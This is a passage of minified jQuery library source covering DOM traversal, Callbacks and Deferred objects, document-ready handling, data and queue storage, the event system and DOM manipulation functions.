vt=/^(?:parents|prev(?:Until|All))/,yt={children:!0,contents:!0,next:!0,prev:!0};it.extend({dir:function(e,t,n){for(var r=[],i=e[t];i&&9!==i.nodeType&&(void 0===n||1!==i.nodeType||!it(i).is(n));)1===i.nodeType&&r.push(i),i=i[t];return r},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}}),it.fn.extend({has:function(e){var t,n=it(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(it.contains(this,n[t]))return!0})},closest:function(e,t){for(var n,r=0,i=this.length,o=[],a=ct.test(e)||"string"!=typeof e?it(e,t||this.context):0;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&it.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?it.unique(o):o)},index:function(e){return e?"string"==typeof e?it.inArray(this[0],it(e)):it.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(it.unique(it.merge(this.get(),it(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),it.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return it.dir(e,"parentNode")},parentsUntil:function(e,t,n){return it.dir(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return it.dir(e,"nextSibling")},prevAll:function(e){return it.dir(e,"previousSibling")},nextUntil:function(e,t,n){return it.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return it.dir(e,"previousSibling",n)},siblings:function(e){return it.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return it.sibling(e.firstChild)},contents:function(e){return it.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:it.merge([],e.childNodes)}},function(e,t){it.fn[e]=function(n,r){var i=it.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=it.filter(r,i)),this.length>1&&(yt[e]||(i=it.unique(i)),vt.test(e)&&(i=i.reverse())),this.pushStack(i)}});var bt=/\S+/g,xt={};it.Callbacks=function(e){e="string"==typeof e?xt[e]||o(e):it.extend({},e);var t,n,r,i,a,s,l=[],u=!e.once&&[],c=function(o){for(n=e.memory&&o,r=!0,a=s||0,s=0,i=l.length,t=!0;l&&i>a;a++)if(l[a].apply(o[0],o[1])===!1&&e.stopOnFalse){n=!1;break}t=!1,l&&(u?u.length&&c(u.shift()):n?l=[]:d.disable())},d={add:function(){if(l){var r=l.length;!function o(t){it.each(t,function(t,n){var r=it.type(n);"function"===r?e.unique&&d.has(n)||l.push(n):n&&n.length&&"string"!==r&&o(n)})}(arguments),t?i=l.length:n&&(s=r,c(n))}return this},remove:function(){return l&&it.each(arguments,function(e,n){for(var r;(r=it.inArray(n,l,r))>-1;)l.splice(r,1),t&&(i>=r&&i--,a>=r&&a--)}),this},has:function(e){return e?it.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],i=0,this},disable:function(){return l=u=n=void 0,this},disabled:function(){return!l},lock:function(){return u=void 0,n||d.disable(),this},locked:function(){return!u},fireWith:function(e,n){return!l||r&&!u||(n=n||[],n=[e,n.slice?n.slice():n],t?u.push(n):c(n)),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!r}};return d},it.extend({Deferred:function(e){var t=[["resolve","done",it.Callbacks("once memory"),"resolved"],["reject","fail",it.Callbacks("once memory"),"rejected"],["notify","progress",it.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return it.Deferred(function(n){it.each(t,function(t,o){var a=it.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&it.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?it.extend(e,r):r}},i={};return r.pipe=r.then,it.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=Y.call(arguments),a=o.length,s=1!==a||e&&it.isFunction(e.promise)?a:0,l=1===s?e:it.Deferred(),u=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?Y.call(arguments):i,r===t?l.notifyWith(n,r):--s||l.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);a>i;i++)o[i]&&it.isFunction(o[i].promise)?o[i].promise().done(u(i,r,o)).fail(l.reject).progress(u(i,n,t)):--s;return s||l.resolveWith(r,o),l.promise()}});var wt;it.fn.ready=function(e){return it.ready.promise().done(e),this},it.extend({isReady:!1,readyWait:1,holdReady:function(e){e?it.readyWait++:it.ready(!0)},ready:function(e){if(e===!0?!--it.readyWait:!it.isReady){if(!ht.body)return setTimeout(it.ready);it.isReady=!0,e!==!0&&--it.readyWait>0||(wt.resolveWith(ht,[it]),it.fn.triggerHandler&&(it(ht).triggerHandler("ready"),it(ht).off("ready")))}}}),it.ready.promise=function(t){if(!wt)if(wt=it.Deferred(),"complete"===ht.readyState)setTimeout(it.ready);else if(ht.addEventListener)ht.addEventListener("DOMContentLoaded",s,!1),e.addEventListener("load",s,!1);else{ht.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&ht.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!it.isReady){try{n.doScroll("left")}catch(e){return setTimeout(i,50)}a(),it.ready()}}()}return wt.promise(t)};var Tt,Et="undefined";for(Tt in it(nt))break;nt.ownLast="0"!==Tt,nt.inlineBlockNeedsLayout=!1,it(function(){var e,t,n,r;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",nt.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=ht.createElement("div");if(null==nt.deleteExpando){nt.deleteExpando=!0;try{delete e.test}catch(t){nt.deleteExpando=!1}}e=null}(),it.acceptData=function(e){var t=it.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return 1!==n&&9!==n?!1:!t||t!==!0&&e.getAttribute("classid")===t};var kt=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Ct=/([A-Z])/g;it.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?it.cache[e[it.expando]]:e[it.expando],!!e&&!u(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return d(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return d(e,t,!0)}}),it.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=it.data(o),1===o.nodeType&&!it._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=it.camelCase(r.slice(5)),l(o,r,i[r])));it._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){it.data(this,e)}):arguments.length>1?this.each(function(){it.data(this,e,t)}):o?l(o,e,it.data(o,e)):void 0},removeData:function(e){return this.each(function(){it.removeData(this,e)})}}),it.extend({queue:function(e,t,n){var r;return e?(t=(t||"fx")+"queue",r=it._data(e,t),n&&(!r||it.isArray(n)?r=it._data(e,t,it.makeArray(n)):r.push(n)),r||[]):void 0},dequeue:function(e,t){t=t||"fx";var n=it.queue(e,t),r=n.length,i=n.shift(),o=it._queueHooks(e,t),a=function(){it.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return it._data(e,n)||it._data(e,n,{empty:it.Callbacks("once memory").add(function(){it._removeData(e,t+"queue"),it._removeData(e,n)})})}}),it.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?it.queue(this[0],e):void 0===t?this:this.each(function(){var n=it.queue(this,e,t);it._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&it.dequeue(this,e)})},dequeue:function(e){return this.each(function(){it.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=it.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)n=it._data(o[a],e+"queueHooks"),n&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var Nt=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,St=["Top","Right","Bottom","Left"],jt=function(e,t){return e=t||e,"none"===it.css(e,"display")||!it.contains(e.ownerDocument,e)},At=it.access=function(e,t,n,r,i,o,a){var s=0,l=e.length,u=null==n;if("object"===it.type(n)){i=!0;for(s in n)it.access(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,it.isFunction(r)||(a=!0),u&&(a?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(it(e),n)})),t))for(;l>s;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:u?t.call(e):l?t(e[0],n):o},Dt=/^(?:checkbox|radio)$/i;!function(){var e=ht.createElement("input"),t=ht.createElement("div"),n=ht.createDocumentFragment();if(t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",nt.leadingWhitespace=3===t.firstChild.nodeType,nt.tbody=!t.getElementsByTagName("tbody").length,nt.htmlSerialize=!!t.getElementsByTagName("link").length,nt.html5Clone="<:nav></:nav>"!==ht.createElement("nav").cloneNode(!0).outerHTML,e.type="checkbox",e.checked=!0,n.appendChild(e),nt.appendChecked=e.checked,t.innerHTML="<textarea>x</textarea>",nt.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue,n.appendChild(t),t.innerHTML="<input type='radio' checked='checked' name='t'/>",nt.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,nt.noCloneEvent=!0,t.attachEvent&&(t.attachEvent("onclick",function(){nt.noCloneEvent=!1}),t.cloneNode(!0).click()),null==nt.deleteExpando){nt.deleteExpando=!0;try{delete t.test}catch(r){nt.deleteExpando=!1}}}(),function(){var t,n,r=ht.createElement("div");for(t in{submit:!0,change:!0,focusin:!0})n="on"+t,(nt[t+"Bubbles"]=n in e)||(r.setAttribute(n,"t"),nt[t+"Bubbles"]=r.attributes[n].expando===!1);r=null}();var Lt=/^(?:input|select|textarea)$/i,Ht=/^key/,_t=/^(?:mouse|pointer|contextmenu)|click/,qt=/^(?:focusinfocus|focusoutblur)$/,Ft=/^([^.]*)(?:\.(.+)|)$/;it.event={global:{},add:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it._data(e);if(g){for(n.handler&&(l=n,n=l.handler,i=l.selector),n.guid||(n.guid=it.guid++),(a=g.events)||(a=g.events={}),(c=g.handle)||(c=g.handle=function(e){return typeof it===Et||e&&it.event.triggered===e.type?void 0:it.event.dispatch.apply(c.elem,arguments)},c.elem=e),t=(t||"").match(bt)||[""],s=t.length;s--;)o=Ft.exec(t[s])||[],p=m=o[1],h=(o[2]||"").split(".").sort(),p&&(u=it.event.special[p]||{},p=(i?u.delegateType:u.bindType)||p,u=it.event.special[p]||{},d=it.extend({type:p,origType:m,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&it.expr.match.needsContext.test(i),namespace:h.join(".")},l),(f=a[p])||(f=a[p]=[],f.delegateCount=0,u.setup&&u.setup.call(e,r,h,c)!==!1||(e.addEventListener?e.addEventListener(p,c,!1):e.attachEvent&&e.attachEvent("on"+p,c))),u.add&&(u.add.call(e,d),d.handler.guid||(d.handler.guid=n.guid)),i?f.splice(f.delegateCount++,0,d):f.push(d),it.event.global[p]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it.hasData(e)&&it._data(e);if(g&&(c=g.events)){for(t=(t||"").match(bt)||[""],u=t.length;u--;)if(s=Ft.exec(t[u])||[],p=m=s[1],h=(s[2]||"").split(".").sort(),p){for(d=it.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,f=c[p]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;o--;)a=f[o],!i&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,d.remove&&d.remove.call(e,a));l&&!f.length&&(d.teardown&&d.teardown.call(e,h,g.handle)!==!1||it.removeEvent(e,p,g.handle),delete c[p])}else for(p in c)it.event.remove(e,p+t[u],n,r,!0);it.isEmptyObject(c)&&(delete g.handle,it._removeData(e,"events"))}},trigger:function(t,n,r,i){var o,a,s,l,u,c,d,f=[r||ht],p=tt.call(t,"type")?t.type:t,h=tt.call(t,"namespace")?t.namespace.split("."):[];if(s=c=r=r||ht,3!==r.nodeType&&8!==r.nodeType&&!qt.test(p+it.event.triggered)&&(p.indexOf(".")>=0&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[it.expando]?t:new it.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.namespace_re=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:it.makeArray(n,[t]),u=it.event.special[p]||{},i||!u.trigger||u.trigger.apply(r,n)!==!1)){if(!i&&!u.noBubble&&!it.isWindow(r)){for(l=u.delegateType||p,qt.test(l+p)||(s=s.parentNode);s;s=s.parentNode)f.push(s),c=s;c===(r.ownerDocument||ht)&&f.push(c.defaultView||c.parentWindow||e)}for(d=0;(s=f[d++])&&!t.isPropagationStopped();)t.type=d>1?l:u.bindType||p,o=(it._data(s,"events")||{})[t.type]&&it._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&it.acceptData(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!u._default||u._default.apply(f.pop(),n)===!1)&&it.acceptData(r)&&a&&r[p]&&!it.isWindow(r)){c=r[a],c&&(r[a]=null),it.event.triggered=p;try{r[p]()}catch(m){}it.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=it.event.fix(e);var t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 0===i[n]&&(i[n]=r.needsContext?it(n,this).index(l)>=0:it.find(n,this,null,[l]).length),i[n]&&i.push(r);i.length&&a.push({elem:l,handlers:i})}return s<t.length&&a.push({elem:this,handlers:t.slice(s)}),a},fix:function(e){if(e[it.expando])return e;var t,n,r,i=e.type,o=e,a=this.fixHooks[i];for(a||(this.fixHooks[i]=a=_t.test(i)?this.mouseHooks:Ht.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new it.Event(o),t=r.length;t--;)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||ht),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,t){var n,r,i,o=t.button,a=t.fromElement;return null==e.pageX&&null!=t.clientX&&(r=e.target.ownerDocument||ht,i=r.documentElement,n=r.body,e.pageX=t.clientX+(i&&i.scrollLeft||n&&n.scrollLeft||0)-(i&&i.clientLeft||n&&n.clientLeft||0),e.pageY=t.clientY+(i&&i.scrollTop||n&&n.scrollTop||0)-(i&&i.clientTop||n&&n.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?t.toElement:a),e.which||void 0===o||(e.which=1&o?1:2&o?3:4&o?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==h()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===h()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return it.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(e){return it.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=it.extend(new it.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?it.event.trigger(i,null,t):it.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},it.removeEvent=ht.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===Et&&(e[r]=null),e.detachEvent(r,n))},it.Event=function(e,t){return this instanceof it.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?f:p):this.type=e,t&&it.extend(this,t),this.timeStamp=e&&e.timeStamp||it.now(),void(this[it.expando]=!0)):new it.Event(e,t)},it.Event.prototype={isDefaultPrevented:p,isPropagationStopped:p,isImmediatePropagationStopped:p,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=f,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=f,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=f,e&&e.stopImmediatePropagation&&e.stopImmediatePropagation(),this.stopPropagation()}},it.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){it.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!it.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),nt.submitBubbles||(it.event.special.submit={setup:function(){return it.nodeName(this,"form")?!1:void it.event.add(this,"click._submit keypress._submit",function(e){var t=e.target,n=it.nodeName(t,"input")||it.nodeName(t,"button")?t.form:void 0;n&&!it._data(n,"submitBubbles")&&(it.event.add(n,"submit._submit",function(e){e._submit_bubble=!0}),it._data(n,"submitBubbles",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&it.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return it.nodeName(this,"form")?!1:void it.event.remove(this,"._submit")}}),nt.changeBubbles||(it.event.special.change={setup:function(){return Lt.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(it.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),it.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),it.event.simulate("change",this,e,!0)})),!1):void it.event.add(this,"beforeactivate._change",function(e){var t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof e){"string"!=typeof t&&(n=n||t,t=void 0);for(o in e)this.on(o,t,n,e[o],i);return this}if(null==n&&null==r?(r=t,n=t=void 0):null==r&&("string"==typeof t?(r=n,n=void 0):(r=n,n=t,t=void 0)),r===!1)r=p;else if(!r)return this;return 1===i&&(a=r,r=function(e){return it().off(e),a.apply(this,arguments)},r.guid=a.guid||(a.guid=it.guid++)),this.each(function(){it.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,it(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||"function"==typeof t)&&(n=t,t=void 0),n===!1&&(n=p),this.each(function(){it.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){it.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?it.event.trigger(e,t,n,!0):void 0}});var Mt="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Ot=/ jQuery\d+="(?:null|\d+)"/g,Rt=new RegExp("<(?:"+Mt+")[\\s/>]","i"),Bt=/^\s+/,Pt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,It=/<([\w:]+)/,Wt=/<tbody/i,$t=/<|&#?\w+;/,zt=/<(?:script|style|link)/i,Xt=/checked\s*(?:[^=]|=\s*.checked.)/i,Ut=/^$|\/(?:java|ecma)script/i,Vt=/^true\/(.*)/,Gt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Yt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:nt.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},Jt=m(ht),Kt=Jt.appendChild(ht.createElement("div"));Yt.optgroup=Yt.option,Yt.tbody=Yt.tfoot=Yt.colgroup=Yt.caption=Yt.thead,Yt.th=Yt.td,it.extend({clone:function(e,t,n){var r,i,o,a,s,l=it.contains(e.ownerDocument,e);if(nt.html5Clone||it.isXMLDoc(e)||!Rt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Kt.innerHTML=e.outerHTML,Kt.removeChild(o=Kt.firstChild)),!(nt.noCloneEvent&&nt.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||it.isXMLDoc(e)))for(r=g(o),s=g(e),a=0;null!=(i=s[a]);++a)r[a]&&E(i,r[a]);if(t)if(n)for(s=s||g(e),r=r||g(o),a=0;null!=(i=s[a]);a++)T(i,r[a]);else T(e,o);return r=g(o,"script"),r.length>0&&w(r,!l&&g(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){for(var i,o,a,s,l,u,c,d=e.length,f=m(t),p=[],h=0;d>h;h++)if(o=e[h],o||0===o)if("object"===it.type(o))it.merge(p,o.nodeType?[o]:o);else if($t.test(o)){for(s=s||f.appendChild(t.createElement("div")),l=(It.exec(o)||["",""])[1].toLowerCase(),c=Yt[l]||Yt._default,s.innerHTML=c[1]+o.replace(Pt,"<$1></$2>")+c[2],i=c[0];i--;)s=s.lastChild;if(!nt.leadingWhitespace&&Bt.test(o)&&p.push(t.createTextNode(Bt.exec(o)[0])),!nt.tbody)for(o="table"!==l||Wt.test(o)?"<table>"!==c[1]||Wt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;i--;)it.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u);for(it.merge(p,s.childNodes),s.textContent="";s.firstChild;)s.removeChild(s.firstChild);s=f.lastChild}else p.push(t.createTextNode(o));for(s&&f.removeChild(s),nt.appendChecked||it.grep(g(p,"input"),v),h=0;o=p[h++];)if((!r||-1===it.inArray(o,r))&&(a=it.contains(o.ownerDocument,o),s=g(f.appendChild(o),"script"),a&&w(s),n))for(i=0;o=s[i++];)Ut.test(o.type||"")&&n.push(o);return s=null,f},cleanData:function(e,t){for(var n,r,i,o,a=0,s=it.expando,l=it.cache,u=nt.deleteExpando,c=it.event.special;null!=(n=e[a]);a++)if((t||it.acceptData(n))&&(i=n[s],o=i&&l[i])){if(o.events)for(r in o.events)c[r]?it.event.remove(n,r):it.removeEvent(n,r,o.handle);l[i]&&(delete l[i],u?delete n[s]:typeof n.removeAttribute!==Et?n.removeAttribute(s):n[s]=null,G.push(i))}}}),it.fn.extend({text:function(e){return At(this,function(e){return void 0===e?it.text(this):this.empty().append((this[0]&&this[0].ownerDocument||ht).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){for(var n,r=e?it.filter(e,this):this,i=0;null!=(n=r[i]);i++)t||1!==n.nodeType||it.cleanData(g(n)),n.parentNode&&(t&&it.contains(n.ownerDocument,n)&&w(g(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&it.cleanData(g(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&it.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return it.clone(this,e,t)})},html:function(e){return At(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ot,""):void 0;if(!("string"!=typeof e||zt.test(e)||!nt.htmlSerialize&&Rt.test(e)||!nt.leadingWhitespace&&Bt.test(e)||Yt[(It.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Pt,"<$1></$2>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(it.cleanData(g(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=arguments[0];return this.domManip(arguments,function(t){e=this.parentNode,it.cleanData(g(this)),e&&e.replaceChild(t,this)}),e&&(e.length||e.nodeType)?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t){e=J.apply([],e);var n,r,i,o,a,s,l=0,u=this.length,c=this,d=u-1,f=e[0],p=it.isFunction(f);if(p||u>1&&"string"==typeof f&&!nt.checkClone&&Xt.test(f))return this.each(function(n){var r=c.eq(n);p&&(e[0]=f.call(this,n,r.html())),r.domManip(e,t)});if(u&&(s=it.buildFragment(e,this[0].ownerDocument,!1,this),n=s.firstChild,1===s.childNodes.length&&(s=n),n)){for(o=it.map(g(s,"script"),b),i=o.length;u>l;l++)r=s,l!==d&&(r=it.clone(r,!0,!0),i&&it.merge(o,g(r,"script"))),t.call(this[l],r,l);if(i)for(a=o[o.length-1].ownerDocument,it.map(o,x),l=0;i>l;l++)r=o[l],Ut.test(r.type||"")&&!it._data(r,"globalEval")&&it.contains(a,r)&&(r.src?it._evalUrl&&it._evalUrl(r.src):it.globalEval((r.text||r.textContent||r.innerHTML||"").replace(Gt,"")));s=n=null}return 